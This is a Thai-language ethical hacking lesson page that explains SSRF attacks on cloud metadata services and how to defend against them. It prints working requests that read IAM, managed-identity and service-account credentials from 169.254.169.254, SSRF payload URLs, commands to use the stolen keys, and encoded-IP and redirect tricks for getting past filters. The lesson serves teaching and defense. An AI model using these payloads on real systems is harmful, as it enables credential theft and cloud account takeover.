Ethical Hacking Academy · บทเรียน

เมทาดาทาและ SSRF

การโจมตีเฉพาะคลาวด์

บทเรียน 4 จาก 413 ขั้นตอน

เมทาดาทาและ SSRF เป็นบทเรียน Ethical Hacking Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Ethical Hacking Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน

บริการข้อมูลเมตาของอินสแตนซ์

VM บนคลาวด์ทุกเครื่องสามารถสอบถามปลายทางภายในพิเศษเพื่อรับข้อมูลเกี่ยวกับตัวมันเองได้ นั่นคือ บริการข้อมูลเมตาของอินสแตนซ์ (IMDS) ที่สำคัญคือ บริการนี้ยังสามารถมอบข้อมูลรับรองชั่วคราวของบทบาทที่แนบอยู่กับอินสแตนซ์ให้ได้ด้วย

AWS / GCP / Azure ล้วนเปิดเผยข้อมูลเมตาที่ 169.254.169.254
เข้าถึงได้เฉพาะจากภายในอินสแตนซ์เท่านั้น
ไม่ต้องใช้การยืนยันตัวตนจากกระบวนการภายในเครื่อง

ความสะดวกนี้จะกลายเป็นอาวุธเมื่อใช้ร่วมกับ SSRF

การอ่านข้อมูลเมตาของ AWS (IMDSv1)

ใน IMDSv1 รุ่นเก่า คำขอ GET เพียงครั้งเดียวจะส่งคืนข้อมูลเมตา ซึ่งรวมถึงข้อมูลรับรองของบทบาทด้วย ไม่ต้องใช้โทเค็น

นี่คือเหตุผลที่ IMDSv1 อันตรายอย่างยิ่งเมื่อแอปมี SSRF

# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

SSRF คืออะไร

การปลอมแปลงคำขอฝั่งเซิร์ฟเวอร์ (SSRF) คือช่องโหว่ที่ผู้โจมตีหลอกให้เซิร์ฟเวอร์ส่งคำขอ HTTP ในนามของตนเองได้ เซิร์ฟเวอร์จึงกลายเป็นพร็อกซีไปยังพื้นที่ที่ผู้โจมตีไม่สามารถเข้าถึงได้โดยตรง

พารามิเตอร์ URL ที่เซิร์ฟเวอร์นำไปดึงข้อมูล
เว็บฮุก เครื่องมือสร้าง PDF หรือฟีเจอร์ปรับขนาดรูปภาพ
อะไรก็ตามที่รับ URL จากผู้ใช้

เป้าหมาย SSRF แบบคลาสสิกบนคลาวด์คือปลายทางข้อมูลเมตา

SSRF พบกับข้อมูลเมตา

การผสมผสานที่อันตรายถึงชีวิตคือ แอปที่มี SSRF เปิดทางให้ผู้โจมตีชี้เซิร์ฟเวอร์ไปยัง 169.254.169.254 จากนั้นเซิร์ฟเวอร์จะดึงข้อมูลรับรอง IAM ของอินสแตนซ์แล้วส่งกลับมา

ตอนนี้ผู้โจมตีถือข้อมูลรับรองคลาวด์ไว้แล้ว ซึ่งมักเป็นจุดเริ่มต้นของการยึดบัญชีทั้งหมด

# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png

# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

การใช้ข้อมูลรับรองที่ถูกขโมย

การตอบกลับจากข้อมูลเมตามีคีย์เข้าถึง คีย์ลับ และโทเค็นเซสชัน ผู้โจมตีส่งออกข้อมูลเหล่านี้แล้วดำเนินการในฐานะบทบาทของอินสแตนซ์ได้ทันที

จากจุดนี้ ผู้โจมตีจะสำรวจสิทธิ์และมองหาเส้นทางเพิ่มระดับสิทธิ์

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Confirm the stolen identity
aws sts get-caller-identity

IMDSv2 ในฐานะกลไกป้องกัน

AWS เปิดตัว IMDSv2 เพื่อลดความรุนแรงของ SSRF โดยกำหนดให้ต้องขอโทเค็นเซสชันผ่านคำขอ HTTP PUT ก่อน ซึ่งกลไก SSRF ส่วนใหญ่ไม่สามารถทำได้ เพราะทำได้เฉพาะ GET

การบังคับใช้ IMDSv2 และการตั้งค่าขีดจำกัดฮอปให้ต่ำ จะลดการขโมยข้อมูลเมตาผ่าน SSRF ได้อย่างมาก

# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')

# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

ข้อมูลเมตาของ Azure และ GCP

ผู้ให้บริการรายอื่นก็เปิดเผยข้อมูลเมตาเช่นกัน แต่มีรายละเอียดเฉพาะของตนเอง ทั้งสองรายกำหนดให้ใช้ส่วนหัวพิเศษ ซึ่งช่วยลดความเสี่ยงจาก SSRF ได้เล็กน้อย

Azure กำหนดให้ใช้ Metadata: true
GCP กำหนดให้ใช้ Metadata-Flavor: Google

# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

เทคนิคหลบเลี่ยงการป้องกัน SSRF

ผู้ป้องกันมักบล็อก 169.254.169.254 ผู้โจมตีหลบเลี่ยงตัวกรองแบบง่ายได้ด้วยการเข้ารหัส IP รูปแบบอื่นและการเปลี่ยนเส้นทาง

IP แบบทศนิยม: 2852039166
การเข้ารหัสที่อยู่เดียวกันแบบเลขฐานแปดหรือฐานสิบหก
การรีบายนด์ DNS ไปยังชื่อที่แก้ค่าเป็น IP ของข้อมูลเมตา
การเปลี่ยนเส้นทางแบบเปิดที่ส่งคำขอไปยัง URL ข้อมูลเมตา

การป้องกันที่รัดกุมต้องตรวจสอบ IP ที่แก้ค่าแล้ว ไม่ใช่สตริงดิบ

# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/

เป้าหมาย SSRF อื่น ๆ

ข้อมูลเมตาเป็นเป้าหมายสำคัญ แต่ SSRF ยังเข้าถึงทรัพยากรภายในอื่น ๆ ได้อีก:

แผงควบคุมผู้ดูแลระบบและแดชบอร์ดภายในที่ผูกกับ localhost
ฐานข้อมูลและแคชภายใน (Redis, Elasticsearch)
เซิร์ฟเวอร์ API ของ Kubernetes และปลายทาง kubelet
ไมโครเซอร์วิสอื่น ๆ ที่ไม่ได้เปิดเผยสู่ภายนอก

SSRF สามารถเจาะทะลุขอบเขตเครือข่ายจากจุดที่ได้รับความไว้วางใจได้อย่างมีประสิทธิภาพ

การป้องกันห่วงโซ่การโจมตี

การตัดห่วงโซ่จาก SSRF ไปยังข้อมูลเมตาต้องใช้การป้องกันหลายชั้น:

บังคับใช้ IMDSv2 และตั้งขีดจำกัดฮอปของข้อมูลเมตาเป็น 1
ตรวจสอบและอนุญาตรายการ URL ปลายทางในฟีเจอร์ดึงข้อมูล
บล็อกคำขอไปยังช่วง IP แบบลิงก์เฉพาะที่และ IP ส่วนตัวหลังการแก้ค่า DNS
ใช้หลักสิทธิ์น้อยที่สุดกับบทบาทของอินสแตนซ์ เพื่อจำกัดผลกระทบจากข้อมูลรับรองที่ถูกขโมย

บทบาทที่ใช้สิทธิ์น้อยที่สุดช่วยให้แม้การขโมยจะสำเร็จ ผู้โจมตีก็ทำอะไรได้น้อย

ทดสอบเฉพาะสิ่งที่ได้รับอนุญาต

การทดสอบ SSRF อาจเข้าถึงระบบภายในที่มีข้อมูลสำคัญได้โดยธรรมชาติของการทดสอบ โปรดปฏิบัติอย่างมีวินัย:

ยืนยันว่าโฮสต์เป้าหมายและบัญชีคลาวด์อยู่ในขอบเขต
อย่าเปลี่ยนเส้นทางเข้าไปยังระบบที่อยู่นอกขอบเขตการปฏิบัติงาน
หยุดและรายงานทันทีเมื่อพิสูจน์การเข้าถึงข้อมูลรับรองได้แล้ว

การเข้าถึงข้อมูลเมตามีผลกระทบสูง โปรดสาธิตอย่างระมัดระวัง และอย่าใช้คีย์ที่ขโมยมาอย่างไร้ขอบเขต

ตรวจสอบความเข้าใจอย่างรวดเร็ว

เหตุใดการบังคับใช้ IMDSv2 จึงช่วยป้องกันการขโมยข้อมูลรับรองผ่าน SSRF ได้

ตอบคำถามในบทเรียนแบบโต้ตอบ

สรุป: ข้อมูลเมตาและ SSRF

คุณได้เรียนรู้ห่วงโซ่การโจมตีเฉพาะคลาวด์ที่มีผลกระทบสูงที่สุด

บริการข้อมูลเมตา ที่ 169.254.169.254 มอบข้อมูลรับรองของบทบาทอินสแตนซ์
SSRF เปิดทางให้ผู้โจมตีสั่งให้เซิร์ฟเวอร์ดึงข้อมูลจากปลายทางดังกล่าว
ข้อมูลรับรองชั่วคราวที่ถูกขโมยช่วยให้ยึดบัญชีได้
IMDSv2 บล็อก SSRF ส่วนใหญ่ด้วยการกำหนดให้ใช้โทเค็นที่อาศัย PUT
ป้องกันด้วยการอนุญาตรายการ URL การตรวจสอบ IP และบทบาทที่ใช้สิทธิ์น้อยที่สุด

บทเรียนการทดสอบเจาะระบบคลาวด์จบลงแล้ว หลักสูตรถัดไป: การล่ารางวัลบั๊ก

เริ่มต้นได้ฟรี

เรียนรู้ Ethical Hacking Academy ด้วย AI tutor — ฟรี

เขียนและเรียกใช้โค้ดจริงในเบราว์เซอร์ของคุณ รับความช่วยเหลือทันทีจาก AI tutor 24/7 และเรียนรู้ต่อจากที่คุณหยุดบนเว็บหรือในแอป

คอร์ส: 31
บทเรียน: 111

เริ่มเรียนฟรี ดูหลักสูตรเต็ม

คำถามที่พบบ่อย

บทเรียน “เมทาดาทาและ SSRF” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “เมทาดาทาและ SSRF” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Ethical Hacking Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “เมทาดาทาและ SSRF”

การโจมตีเฉพาะคลาวด์ คุณปฏิบัติ Ethical Hacking Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Ethical Hacking Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน Ethical Hacking Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน

บทเรียน “เมทาดาทาและ SSRF” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน Ethical Hacking Academy นี้ได้ไหม

ได้ บทเรียน Ethical Hacking Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

← กลับไปที่ Ethical Hacking Academy